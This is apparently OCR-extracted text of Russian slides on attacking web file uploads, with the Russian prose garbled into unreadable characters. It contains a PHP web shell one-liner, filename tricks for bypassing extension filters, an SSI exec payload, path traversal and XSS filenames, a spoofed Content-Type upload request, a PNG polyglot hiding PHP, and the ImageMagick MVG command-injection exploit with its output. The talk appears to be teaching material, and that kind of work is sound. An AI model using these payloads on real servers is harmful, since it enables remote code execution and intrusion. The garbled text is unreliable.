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| [pMMEpPbI CEPBUCOB

" DanmnoobMeHHUNKN N XOCTUHIU

= CoumasbHble CeTU, O0CKM OO BABNIEHN, C

" OHManH-KOHBEPTOPbI N PEOAKTOPD

DOPYMb



XpaHeHe dhansioB

" MO>XHO HE COXPaHATb

= B dhannoson cucrteme

= B Haze OaHHbIX

= B obnayHoOM XpaHWuLLe

"= e.g. Amazon S3



PUICKU

= Remote Code Execution

NaI0B

= [lepesanucb Wnn yganeHne a
= | ocal File Read, SSRF
= Denial of Service

= |nformation Disclosure
B XSS



Web Shell

http://example.com/uploads/shell.php?cmd=1ls

<?php system($_GET['emd']); 7>



Cnabble MeToabl 3aLLNThI

" Bannoaumsa nMmeHn dpanna

= YepHbI CMNIMCOK pacLUMPEHN
" besibii CNMCOK pacLUMpeHnIA
= CaHvTanaepsbl

= Banvpauma Ha ocHoBe Content-Type

= OnpegeneHve Tuna ansioB No COOEPXXNMOMY



HepHbIV CMNCOK PacLUNpPEHN

= J1BOWHbIE pacCLUMPEHUS
= shell.php.jpg
" ManonsBecTHble
= .phpb, .phtml, .shtml
= .htaccess
" PerncrposaBncUMOCTb
= PHp3, .a5p
" |IHbexkuns HyeBoro bamta
= shell.php%00.jpg
= [na Windows
= NTFS Alternate Data Streams — shell.php:.jpg
= B cTapbix Bepcugx IS — file.asp;.jpg

" /lcnonb3oBaHye KOPOTKMX MMeH — web.config == web~1.con



benbi CMMCOK PacLUNpPEHNA

= J1BOMHbIE pacCLUNPEHNS
= shell.php.jpg
" MasionsBecTHbIe
= .phpb, .phtml, .shtml
= .htaccess
" PerncrposaBMCcUMOCTb
= PHp3, .a5p
" |IHbekupms HynieBoro bamta
= shell.php%00.jpg
= [na Windows
= NTFS Alternate Data Streams — shell.php:.jpg
= B crapbix Bepcugx IS — file.asp;.jpg

" [lcnonb3oBaHye KOPOTKMX MMeH — web.config == web~1.con



CaHunTamaepsl

" BbosibLOE NPOCTPAHCTBO O19 dhaHTa3n

= Y0anarTcsd BXOXKOEHNA NOACTPOK TuvNa «.php»

= shell.p.phphp — shell.php



HTO eLle MOXXHO 3arpy3nTb

= Server Side Includes (.shtml)
= Cratundeckmn HTML

" crossdomain.xml



Server Side Includes

file.shtml

<! --f#fexec cmd="1s" -->



Static HTML

=" MoyxHO 3arpy»xatb ctatndeckumn HTML?
= Jlenaem CTpaHuLy, KOTopasa KpadeT CooKIe.

= 3acTaB/IIEM XKEPTBY MEPENTU MO CCbIIKE.



Path lraversal

" Ecnu He ncnonb3dyeTtcsa PyHKUMA basename mnnim aHasor,
TO TakK>XXe MOXKHO MonpoboBaTk aTtaky path traversal.

" MoyxHO nNpoboBaTh NepesanmnchiBaTb:

" lcxogHble hansibl BEO-MPUNOXKEHUS

= KOHMpUrypaunoHHble anbl

" CuycTteMHble dhanbl

filename="../config.1n1"


http://php.net/manual/en/function.basename.php

Filename XSS

filename="<script>alert(l)</script>"



Bannpaunsa Content-Type

" |/13meHeHue 3arosioBka Content-Type

= [lepexBartbiBaOLLyM MPoKeKn (e.g. Burp Suite)

POST / HTTP/1.1

Host: easy.fu.khashaev.ru

Content-Length: 200

Content-Type: multipart/form—data; boundary=———-WebKitFormBoundary

—————— WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="info.php"

Content-Type: stext/php- image/png

<?php phpinfo(); ?>
—————— WebKitFormBoundary—



| lonmrnoTol

= JavaScript B JPEG, GIF, PNG, PDF
= HTML B 4yeM-H1nbyob
= PHP B JPEG, GIF, PNG

=" HekoTopble BbDKMBAOT AaxXKe nocsie TpaHChOopMAaLLN

89 50 4E 47 OD OA 1A OA 00 00 00 OD 49 48 44 52 00 00 00 .PNG........ IHDR. ..
20 00 00 00 20 08 02 00 00 00 FC 18 ED A3 00 00 00 60 49 ... ............ "I
44 41 54 48 89 63 5C 3C 3F 3D 24 5F 47 45 54 5B 30 5D 28 DATH.c\<?=$ GET[0] (
24 5F 50 4F 53 54 5B 31 5D 29 3B 3F 3E 58 80 81 81 C1 73 § POST[1]);?>X....s

SE 37 93 FC 8F 8B DB 7E 5F D3 7D AA 27 F7 F1 E3 C9 BF 5F ~7..... ol EREEEEE .
EF 06 7C B2 30 30 63 D9 B9 67 FD D9 3D 1B CE 32 8C 82 51 ..|.00c..qg..=..2..Q
30 OA 46 C1 28 18 05 A3 60 14 8C 82 51 30 OA 86 OD 00 00 O.F. (... ...Q0.....
81 B2 1B 02 07 78 OD OC 00 00 OO0 00 49 45 4E 44 AE 42 60 ..... Xesooas IEND.B"

82


https://rdot.org/forum/showthread.php?t=2780
https://github.com/d0lph1n98/Defeating-PHP-GD-imagecreatefromgif
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

ImageMagick

" RCE cve-2016-3714] ¥ S
" SSRF (cve-2016-3718]

" [le deletion cve-2016-3715]
= File moving [cve-2016-3716]

" | ocal File Read [CVE-2016-3717]




RCE B ImageMagick

exploit.mvg: S

push graphic-context

viewbox @ @ 640 480

fill "urlChttps://example.com/
image.jpg";lls "-1la)’

pop graphic-context




RCE B ImageMagick

$ convert exploit.mvg out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .

drwxr-xr-x+ 232 user group /7888 Apr 30 10:37 ..



= | ocal File Read
= SSRF

B Denial of Service



Demo

= http://easy.fu.khashaev.ru/

= http://type.fu.khashaev.ru/


http://easy.fu.khashaev.ru/
http://type.fu.khashaev.ru/

